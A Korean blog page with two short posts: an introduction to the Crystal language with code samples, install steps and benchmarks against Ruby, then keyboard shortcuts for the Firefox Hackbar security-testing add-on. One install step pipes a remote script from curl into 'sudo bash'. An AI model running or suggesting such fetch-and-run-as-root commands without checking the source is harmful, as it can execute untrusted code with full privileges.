사실 아직 직접적으로 써보진 않아서 리뷰하기엔 어렵습니다. 그냥 ... 소개정도만 할까합니다.

우선 문법 스타일은 루비랑 거의 유사합니다. 예제로 나와있는 웹 서버 코드만 봐도..

# A very basic HTTP server
require "http/server"

server = HTTP::Server.new do |context|
  context.response.content_type = "text/plain"
  context.response.print "Hello world, got #{context.request.path}!"
end

puts "Listening on http://127.0.0.1:8080"
server.listen(8080)

그냥 루비라고 봐도 무방할 정도이지요. 다만 go처럼 바로 run 하거나 build 후 런을 할 수 있도록 선택할 수 있습니다. 인터프리터 언어인 루비보단 당연히 성능이 좋을 수 밖에 없습니다.

이외에도 Null reference check, C Binding 등 여러 기능을 장점으로 내세우고 있습니다. 다만 아직 프로젝트가 많이 발달하지 않았다는 점이 단점으로 보입니다.

git topic을 비교해봤을 때 python 같은 언어보다 상대적으로 적은 ruby보다도 한참 못미치는 숫자의 repo가 존재합니다.

Ruby : 14,495 (https://github.com/topics/ruby)
Crystal : 830 (https://github.com/topics/crystal)

이러다 보니 자연스럽게 라이브러리 지원쪽에선 밀릴 수 밖에 없습니다. 그리고 unix system만 지원하는 것으로 알고있습니다. 범용성 측면에선 Ruby가 좋을 수 밖에 없을 것 같네요.

C-Binding은 Crystal 내부에서 C단 코드 호출이 바로 가능합니다.

# Fragment of the BigInt implementation that uses GMP
@[Link("gmp")]
lib LibGMP
  alias Int = LibC::Int
  alias ULong = LibC::ULong

  struct MPZ
    _mp_alloc : Int32
    _mp_size : Int32
    _mp_d : ULong*
  end

  fun init_set_str = __gmpz_init_set_str(rop : MPZ*, str : UInt8*, base : Int) : Int
  fun cmp = __gmpz_cmp(op1 : MPZ*, op2 : MPZ*) : Int
end

struct BigInt < Int
  def initialize(str : String, base = 10)
    err = LibGMP.init_set_str(out @mpz, str, base)
    raise ArgumentError.new("invalid BigInt: #{str}") if err == -1
  end

  def <=>(other : BigInt)
    LibGMP.cmp(mpz, other)
  end
end

Install & Use

source.list 등록 후 apt 같은 패키지 매니저로 설치가 가능합니다. source.lit 등록은 공식 홈에서 setup.sh로 제공하고 있습니다.

#> curl -sSL https://dist.crystal-lang.org/apt/setup.sh | sudo bash
#> apt-get install crystal

macos의 경우에는 brew로 한줄로 설치 가능합니다.

#> brew install crystal

기본 확장자는 .cr 이며 crystal 명령 자체에 run, build 등 옵션을 지원합니다.

#> vim test.cr
puts “Hi”
puts "I am Crystal!"

#> crystal run test.cr
#> crystal build test.cr

Conclusion

많이 써보고 소개하는 글은 아니라 영양가는 없습니다. 다만, 이런 언어도 쓰이고 있따 정도만 공유드리고 싶었을 뿐입니다. (사실 나온지는 조금됬죠)
음.. 성능 고려했을 땐 Ruby의 서브 언어 느낌으로 Crystal을 써보는 것도 좋긴하겠지만, Ruby 3버전대 부턴 Static typing을 지원한다는 이야기도 있어 아직 지켜봐야할 것 같습니다.

그나저나 benchmark 자료들 보면 ruby랑 정말 차이가 많이 나네요..
https://github.com/kostya/benchmarks

Language   times   memory
Crystal      3.37       1.3
Ruby          147.32   7.4
Share: | Coffee Me:

Firefox Hackbar Addon 단축키(Short cut)

낮에 Hackbar git을 우연히 들어가게 됬는데(사실 밝은색이라 눈아파서 어둡게 색상좀 바꿀라고..) 단축키가 있더라구요.
(이럴수가... Hackbar가 firefox quantum 이후로 개발자 도구로 들어가서 걍 신경 안쓰고 살았느데, 단축키가 생겼네요)

간략하게 메모차 글 작성해둡니다.
(요즘 글을 날로먹는 느낌..)

    Load URL: alt + a
    Split url: alt + p
    Execute: alt + x
    Base64 Encode: alt + c
    Base64 Decode: alt + C
    Url Encode: alt + u
    Url Decode: alt + U

https://github.com/khoiasd/hackbar

Share: | Coffee Me: